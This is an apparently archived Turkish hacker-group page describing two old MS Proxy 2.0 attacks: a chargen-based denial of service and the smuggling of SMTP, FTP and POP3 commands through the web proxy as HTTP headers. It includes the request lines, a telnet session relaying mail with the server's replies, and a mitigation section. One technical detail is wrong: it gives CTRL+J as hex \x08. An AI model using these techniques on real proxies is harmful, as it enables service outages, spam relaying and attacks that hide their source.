BLACK SEA HACKERS CLUP

MS-Proxy 2.0 server için sağlam bir DOS attack var!
Bu durum client`ın proxy üzerinden bağlantısını abort etmesi ve proxy serverin remote servera bağlantısının RESET lenmemesi durumunda ortaya cıkıyor.
Bu genelde ftp request lerinde karşılaşılan bi durum gibi görünüyor.
Mesela saldıran kişi Web Proxy servisine bir HTTP GET ftp:// request göndererek karşı hostun 19. portuna (Chargen servisi) bağlantı yapmaya kalkıp, ("GET ftp://some.server.com:19/ HTTP/1.0\n\n") Proxy serverdan bir cevap gelmeden bağlantıyı iptal eder. Proxy remote servera yaptığı bağlantıyı açık tutar ve data`yı sürekli olarak almaya devam eder. Bu da sonuç olarak inetinfo.exe işlemlerinin %100 de calışmasına ve devamlı olarak bir hafıza kullanımı artışına sebep olur.
25 dakikalık bir kullanım sonrası hafıza kullanımı 5000k dan 37000k ya tırmanır.
Bu olay NT Server 4 (SP3 + Hotfixler), IIS 3.0 ve nete 33600 kbps ile baglı bir MS Proxy 2.09 uzerinde test edilmiştir.
Aslında bu belkide bir saldırı amaçlı bile olmayabilir - Örneğin, eğer bir kullanıcı web browserindan, A HREF="ftp://some.server.com/bigfile.exe" seklinde linkli, 40mb lik bir dosyayı download etmeye karar verip sonra Proxy cevap vermeden browserinda STOP a basarsa bu da aynı etkiyi yapacaktır. Böyle bir durumda Web Proxy Servis`i Internet Service Manager`dan durdurulamayacaktır.
NT Resource Kit`indeki kill.exe`yi kullanıp Web Proxy Servisi killeyip kapatmalısınız.
Korunma :
a) MS-Proxy's servislerini sadece güvenilen ve yetkisi olan insanların kullandığından emin olun.
b) Calışanlarınızın işlerini yapabilmesi için ihtiyacınız olan servislerin dışarı çıkış trafiğini sınırlayın.örneğin, paket filter ile dışarıya cıkan her trafiğe izin vermeyin.
Ben Microsoft`dan bu konuda ,client bağlantısı abort edildiğinde proxy den remote servera bağlantının da abort edilmesini sağlıycak bir fix cıkarmalarını isterdim. Çünkü yukardaki olaylar bazı muşteriler tarafından görulemeyebilir.
+-+-+-+-+-
Görünüşe göre sadece MS Proxy değil hemen hemen tüm web proxyler bu saldırıya açık. Bu konuda yaptıkları testler için Greg Jones ve diğerlerine teşekkürler. Microsoft's Proxy Server 2 ile oynarken eğer enabled ise, paketlerin by-pass edilmesine izin vericek ilgi çekici bir özellik buldum.
Exploit, remote host`un belirlenen portuna bağlanmakla oluyor. Örnekte Web Proxy servisi uzerinden SMTP portunu (25) kullandım.
Web-proxy TCP port 80 `i dinliyor. Bu porta telnet yapıp bir http request yaptım. Burda yapmak istediğimiz servise ait komutları HTTP headerları olarak göndermek. Aşagıda , web proxy servisine telnet yapıp, GET request`i ile SMTP komutlarını HTTP headerlarıymış gibi kullandım
------------------------------------------8<--------------------------------
telnet web-proxy:80
GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0
mail from:
[email protected]
rcpt to:
[email protected]
data :
Subject: Burasi subject satiri :P
Burasıda mesajın yazıldığı yer. buraya gelebilmek için bir CTRL+J yapmanız gerek. Satıra tek bir nokta koymak icin bidaha
CTRL+J yapmanız gerek.
220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100
500 Command unrecognized
500 Command unrecognized
500 Command unrecognized
250 <[email protected]> is syntactically correct
250 <[email protected]> is syntactically correct
354 Enter message, ending with "." on a line by itself
250 OK id=0zQmVd-0007md-00
500 Command unrecognized
500 Command unrecognized
Burdaki olay, proxy`nin, başında : olan bir satırı gidiceği yere göndermesi. Proxy ayrıca kendi HTTP headerlarinida ekler (Via: proxy_ismi, Host: final_destiantion, Connection: Keep-Alive) ki bu yüzden bazı "Command Unrecognised" lar görüyoruz.
FTP yada POP3 türü bir servis için bütün komutları bi arada yapabilirsiniz.
GET http://herhangi.bir.server:21_or_110/ HTTP/1.0
:(CTRL+J)
user birisi(CTRL+J)
pass bişiler(CTRL+J)
stat(CTRL+J)
etc = etc ve ENTER a basarak bitirin.
Not- herşey biriktiriliyor ve enter`a iki kere bastığınızda hedefe bir kerede gidiyor. Hedef headerları buffer`liyor ve onları sırasıyla yapıyor. Yani kısaca komutlarımızı proxy`ye HTTP headerlar`ı gibi gösterip geçiriyoruz.
Evet, bu nasıl olduğu, şimdi bununla neler yapilabilir?
Konfigürasyonuna bağlı olarak, sadece port 80`e gelen requestlere izin veren bir proxy server üzerinden saldıran kişiler servislere ve makinelere erişebilirler. Proxy`ye bi kere girdiğinizde requestler, "korunmuş" lokal ağınıza, paket filter yokmuş gibi gidebilir.
Herkesin erişimine açık proxylerden internetteki diğer makinalara saldırılar yapılabilir ve hedef makinada saldıranın kendi IP si görünmez.
Bu atak IP adresine dayalı izinlerle işleyen güvenlik sistemlerine karşı kullanılabilir.
Aslında bu olay daha birçok şekilde yapılabilir. En son olarak size aşağıdaki gibi bir çözüm önerebilirim.
Proxy portunu degiştirmek bir işe yaramıyacağından bunun yerine proxy`nin bilinmeyen headerları filtrelemesini sağlamalısınız.
Örneğin, çoğu browser bir "User-Agent" header`i belirler-proxy bunu geçirmeli- ama "mail from: [email protected]" gibi standart olmayan bir HTTP header`i remove etmesi lazım. Ayrıca hex değeri \x08 (CTRL+J) olan headerları da cıkarmalı. (Aşağıdaki olayın gercekleşmemesi için)
User-Agent: Mozilla/2.0(CTRL+J)
Komut 1(CTRL+J)
Komut 2(CTRL+J)
Komut 3(CTRL+J)
falan filan

Ana Sayfaya Dön

Hosted by www.Geocities.ws

1